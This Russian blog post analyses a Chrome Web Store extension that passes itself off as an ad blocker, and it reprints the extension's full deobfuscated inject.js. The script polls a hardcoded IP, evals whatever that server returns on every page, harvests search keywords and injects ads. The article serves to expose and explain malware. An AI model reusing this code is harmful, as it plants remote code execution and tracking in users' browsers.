
В статье приведен пример разбора вредоносного браузерного расширения из Chrome Web Store — «Убрать рекламу (HET Рекламе)».
Информация о расширении
Способ распростанения: Chrome Store
Название: «Убрать рекламу (HET Рекламе)»
ID: eaikmbeeklemcgemabilgpjkanodfmic
Дата последнего обновления (на момент написания статьи): 10 Апреля 2015
Версия расширения: 5.8
Количество пользователей в неделю: 57 000
Описание расширения:
Блокировщик рекламы: Блокирует назойливую рекламу ВКонтакте и Одноклассниках, Рекламу на YouTube, Баннеры, Всплывающие окна и др.
HET Рекламе для Google Chrome блокирует:
· Рекламу ВКонтакте и Одноклассниках
· Баннеры на всех сайтах
· Видео рекламу на Youtube
· Всплывающие окна на всех сайтах
· Любую отвлекающую и назойливую рекламу
Уникальный алгор��тм самообучения!
Сделайте свой браузер машиной по переработке и устранению рекламы!
HET Рекламе для Google Chrome блокирует:
· Рекламу ВКонтакте и Одноклассниках
· Баннеры на всех сайтах
· Видео рекламу на Youtube
· Всплывающие окна на всех сайтах
· Любую отвлекающую и назойливую рекламу
Уникальный алгор��тм самообучения!
Сделайте свой браузер машиной по переработке и устранению рекламы!
Введение
Причины опубликовать обзор именно этого расширения:
— во-первых, оно находится в Chrome Store и это является показателем того, что в магазине успешно существуют вредоносные расширения;
— во-вторых, расширение имеет немалую аудиторию, которая может даже и не знает, что у них стоит данное расширение;
— в-третьих, вредоносность данного расширения особо не прикрыта, и поэтому материал может быть доступен более широкой аудитории.
Обзор расширения
Чтобы сделать обзор необходимо получить код расширения.
Для этого установим его из Chrome Store и найдем исходные файлы расширения в соответствующей папке браузера Chrome.
В моем случае, это папка:
%appdata%\Google\Chrome\User Data\Default\Extensions\eaikmbeeklemcgemabilgpjkanodfmic
Структура файлов в данной папке:
| extension |- 16.png |- 48.png |- 128.png |- detector.js |- inject.js |- jquery-2.1.1.min.js |- manifest.json |- md5.js
Замечание 1
Расширение подобного рода не может заниматься гениальной работой с DOM и не требует кроссбраузерность. Поэтому, в лучшем случае, из jquery может понадобится 5 функций, которые видимо сложно было написать, поэтому решили взять библиотеку.
Идем далее.
Всякое расширение для chromium-браузеров начинает свой путь с файла manifest.json.
Открываем его:
manifest.json
{ "content_scripts": [ { "js": [ "md5.js", "detector.js", "jquery-2.1.1.min.js", "inject.js" ], "matches": [ "http://*/*", "https://*/*" ], "run_at": "document_start" } ], "description": "...", "icons": { "128": "128.png", "16": "16.png", "48": "48.png" }, "manifest_version": 2, "name": "Убрать рекламу (HET Рекламе)", "update_url": "https://clients2.google.com/service/update2/crx", "version": "5.8" }
Замечание 2
Расширение внедряет все свои скрипты в каждую открытую вами страницу. Это плохо и с точки зрения безопасности, и с точки зрения производительности.
Итак, на каждой странице мы имеем следующие js-файлы:
- md5.js - detector.js - jquery-2.1.1.min.js - inject.js
На мой взгляд, самый подозрительный файл из названия — это inject.js. Поэтому начнем с него, а если понадобится то взглянем и на остальные.
Файл обфусцирован, если это можно так назвать. Приведу первые символы, а вы догадайтесь чем же он обфусцирован:
eval(function(p,a,c,k,e,d){...
Те, кто встречался с обфускацией, разочаровано сейчас вздохнули «Как банально. Что-то типа этого». Мне обычно в такие моменты вспоминается следующая цитата из фильма Большой куш (Snatch):
— *****-колотить, держите меня крепче! Это что такое?
— Это мой ремень.
— Нет, Томми, у тебя пистолет в штанах. Что делает пистолет у тебя в штанах?
— Это для защиты.
— Для защиты от кого? От фашистов что ли? Ты не боишься отстрелить себе яйца, когда присядешь?
Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier. Имеем:
inject.js
(function () { var host = 'http://5.61.39.110/'; var aid = '49207271-5844-11e4-a8cb-a0b3cce611e4'; var ttl = 350; var MAX_TTL = 3600; function getRandomInt(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min } function ss(str) { return (str + '') .replace(/\\(.?)/g, function (s, n1) { switch (n1) { case '\\': return '\\'; case '0': return '\u0000'; case '': return ''; default: return n1 } }) } function getKeyword() { try { var ses = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ]; var q = null; var ref = document.location.href; for (var i = 0; i < ses.length; i++) { var se = ses[i]; if (ref.match(se[0])) { q = ref.match(se[1])[se[2]]; break } } return q } catch (e) { return } } function getDomain(data) { var a = document.createElement('a'); a.href = data; return a.hostname } function url() { return getDomain(document.location.href) } function strips(str) { str = str.replace(/(?:\\[rn]|[\r\n]+)+/g, ""); str = str.replace(/\s+/g, ""); return str } function isHtml5StorageSupported() { try { return 'localStorage' in window && window['localStorage'] !== null } catch (e) { return false } } function getCountry() { if (isHtml5StorageSupported()) { return localStorage.getItem('country') } else { return null } } function getData() { if (isHtml5StorageSupported()) { return JSON.parse(localStorage.getItem('data')) } else { return null } } function setData(value) { if (isHtml5StorageSupported()) { localStorage.setItem('data', value) } } function getRequestInterval() { var retVal = Math.round(new Date() .getTime() / 1000 / 60); if (isHtml5StorageSupported()) { var value = localStorage.getItem('xdata_ttl'); if (value == null) { localStorage.setItem('xdata_ttl', retVal) } else { retVal = value * 1 } } return retVal } function resetTTL() { if (isHtml5StorageSupported()) { localStorage.setItem('xttl', ttl) } } function getTTL() { var retVal = ttl; if (isHtml5StorageSupported()) { var value = localStorage.getItem('xttl'); if (value != null) { retVal = value * 1 } else { localStorage.setItem('xttl', retVal) } } return retVal } function incrementTTL() { var retVal = ttl; if (isHtml5StorageSupported()) { var value = localStorage.getItem('xttl'); if (value == null) { localStorage.setItem('xttl', retVal) } else { value = value * 1; retVal = value + ttl; if (retVal >= MAX_TTL) { retVal = ttl } localStorage.setItem('xttl', retVal) } } return retVal } function isUpdateTime() { var currentTime = Math.round(new Date() .getTime() / 1000 / 60); var ttlOrigin = localStorage.getItem('xttl'); var ownTTL = getTTL(); var result = (currentTime - getRequestInterval() >= ownTTL); if (result) { localStorage.setItem('xdata_ttl', currentTime) } if (ttlOrigin == null) { result = true } return result } function shuffle(o) { for (var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x) {}; return o }; function fisherYates(myArray) { var i = myArray.length; if (i == 0) return false; while (--i) { var j = Math.floor(Math.random() * (i + 1)); var tempi = myArray[i]; var tempj = myArray[j]; myArray[i] = tempj; myArray[j] = tempi } } function updateKeyword() { return; var key = getKeyword(); if (key == undefined || key.length == 0) { return } $.get(host + 'get_content.php', { 'action': 'add_keyword', 'aid': aid, 'guid': guid, 'url': url(), 'key': getKeyword() }) } function injectArrayOfAds(advs) { for (var idx in advs) { var ad = advs[idx]; if (ad.need_send_view) { continue } var adShownAlready = false; $(ad.html) .each(function () { var self = $(this); if (self.html() .indexOf(ad.adv_id) != -1) { adShownAlready = true; return false } }); if (adShownAlready) { continue } $(ad.html) .each(function () { var self = $(this); var aidElement = $('*[aid=\'' + aid + '\']'); if (self.html() .indexOf(aid) == -1) { var clickRedirectionUri = host + 'get_content.php?action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword(); ad.aa_text = ad.aa_text.replace(/\{AID\}/g, "'aid'='" + aid + "'"); ad.aa_text = ad.aa_text.replace(/\{REDIRECT_URL\}/g, 'aid=\'' + aid + '\' onClick="self.location=\'' + clickRedirectionUri + '\'; return false;"'); ad.host = host + 'get_content.php?action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id; if (ad.inject_mode == 1) { self.html(ad.aa_text); ad.need_send_view = true; return false } else if (ad.inject_mode == 2 && aidElement.length == 0) { self.before(ad.aa_text); ad.need_send_view = true; return false } else if (ad.inject_mode == 3 && aidElement.length == 0) { self.after(ad.aa_text); ad.need_send_view = true; return false } } else {} }) } var notify = []; for (var idx in advs) { var ad = advs[idx]; if (ad.need_send_view) { notify.push(ad.adv_id) } } if (notify.length != 0) {} } function ucfirst(string) { return string.charAt(0) .toUpperCase() + string.slice(1) } function checkLoadedPage(data) { if (data == null || data.message != 'OK') return; var gKeywordFound = false; var keyword = decodeURI(getKeyword()); keyword = keyword.replace(/\+/g, ' '); keyword = keyword.toLowerCase(); var advs = []; // пробежимся по всем ключам объекта response, полученного с веб-сервера for (var key in data.response) { // создадим для каждого jquery-элемент на основании того что получено с веб-сервера var element = data.response[key]; var foundHtml = $(element.html); if (foundHtml.length == 0) { continue } // если присланный данные не имеют свойства advs (рекламы другими словами) if (element.advs == undefined) { data.response[key].advs = []; // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна) $.ajax({ url: host + 'get_content.php', type: "GET", data: { 'action': 'get_adv_cached', 'aid': aid, 'guid': guid, 'url': url(), 'gender': '*', 'ap_id': element.ap_id, 'key': getKeyword(), 'country': data.country }, async: false, success: function (result) { try { // еще один eval ... var dd = eval('(' + result + ')'); // сохраняем данные о рекламе в нашем объекте for (var rs in dd.response) { data.response[key].advs.push(dd.response[rs]) } // а ребята все-таки умеют пользоваться JSON.stringify setData(JSON.stringify(data)) } catch (e) { console.log(e) } } }) } else { // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы for (var adv in element.advs) { var ad = element.advs[adv]; if (ad.ar_text == null) { advs.push(ad); continue } var splitted = ad.ar_text.split('\r\n'); for (var idx in splitted) { if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) { continue } ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword); ad.aa_text = ad.aa_text.replace(/\{KEYWORD_B\}/g, ucfirst(keyword)); ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT\}/g, splitted[idx]); ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT_B\}/g, ucfirst(splitted[idx])); // Вставляем рекламу injectArrayOfAds([ad]); gKeywordFound = true; break } } } } if (!gKeywordFound && advs.length != 0) { injectArrayOfAds(advs) } } guid = ''; try { guid = pstfgrpnt_as_hash() } catch (e) { guid = 'chrome_u' } var isLoading = false; var main = function () { if (isUpdateTime()) { console.log("CHECKING FOR UPDATE..."); isLoading = true; $.get(host + 'get_content.php', { 'action': 'get_places_cached', 'aid': aid, 'guid': guid, 'gender': '*' }, function (result) { try { data = eval('(' + result + ')'); if (data.message != 'OK') { return } setData(JSON.stringify(data)); resetTTL(); console.log("UPD SUCCESS") } catch (e) { console.log(e); return } finally { isLoading = false } }) .error(function (jqXHR, textStatus, errorThrown) { incrementTTL(); console.log('REQUEST FAILED, NEXT CHECK IN ' + getTTL()) }); console.log("CHECKING FOR UPDATE DONE") } }; main(); var id = setInterval(function () { main() }, 100); setInterval(function () { var data = getData(); if (data == null) { return } checkLoadedPage(data) }, 100) })();
Читаем полученный код. Оставлю только интересные моменты:
// ниже данная функция вызывается var main = function () { // нужно ли обновляться if (isUpdateTime()) { // ... // полный url имеет вид http://5.61.39.110/get_content.php $.get(host + 'get_content.php', // ... function (result) { try { data = eval('(' + result + ')'); // ... } catch (e) { // ... } // ... }); // ... } }; main();
В данной функции идет получение данных с веб-сервера.
Замечание 3
А что происходит с ответом? А происходит следующее:
data = eval('(' + result + ')');
Т.е. на каждом сайте выполняется любой код, который прислал веб-сервер. Другими словами, этот код может увести куки, может отправить какую-то информацию о вас (пароли), может сделать все, что угодно на любой странице, которую вы посетили.
Вроде бы уже и этого достаточно, чтобы считать расширение вредоносным, но продолжим дальше. Вдруг у кого-нибудь возникнут мысли, что на самом деле разработчики честные и просто забыли про JSON.parse.
Идем далее.
Ниже вызова функции main() есть вызов функции checkLoadedPage().
функция checkLoadedPage() (+ комментариями)
// пробежимся по всем ключам объекта response, полученного с веб-сервера for (var key in data.response) { // создадим для каждого jquery-элемент на основании того что получено с веб-сервера var element = data.response[key]; var foundHtml = $(element.html); if (foundHtml.length == 0) { continue } // если присланный данные не имеют свойства advs (рекламы другими словами) if (element.advs == undefined) { data.response[key].advs = []; // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна) $.ajax({ url: host + 'get_content.php', type: "GET", data: { // ... }, async: false, success: function (result) { try { // еще один eval ... var dd = eval('(' + result + ')'); // сохраняем данные о рекламе в нашем объекте for (var rs in dd.response) { data.response[key].advs.push(dd.response[rs]) } // а ребята все-таки умеют пользоваться JSON.stringify setData(JSON.stringify(data)) } catch (e) { console.log(e) } } }) } else { // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы for (var adv in element.advs) { var ad = element.advs[adv]; if (ad.ar_text == null) { advs.push(ad); continue } var splitted = ad.ar_text.split('\r\n'); for (var idx in splitted) { if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) { continue } ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword); // ... // Вставляем рекламу injectArrayOfAds([ad]); // ... break } } } } if (!gKeywordFound && advs.length != 0) { injectArrayOfAds(advs) }
Замечание 4
Данная функция меняет поисковую выдачу для следующих поисковых систем:
var ses = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ];
Собственно, по этой проблеме и поступили жалобы от пользователей.
Резюме по расширению
- избыточный код (это ресурсы вашего компьютера);
- весь код расширения запускается на каждой странице (это ресурсы вашего компьютера);
- расширение выполняет любой код, присланный с веб-сервера (просто приведу набор словосочетаний — онлайн-банкинг, пароли, сообщения, анонимность);
- расширение дополнительно вставляет свою поисковую выдачу.
P.S. Если кому-то покажется странным подход к обзору расширения «Причем тут jquery? Причем тут плохая структура кода?», сразу даю ответ: факт того, что расширение требует больше прав, чем нужно, вставляет код на страницы больше, чем нужно — является первым признаком вредоносного расширения.
P.P.S. Большое спасибо тем, кто присылает сообщения с указанием ошибок!
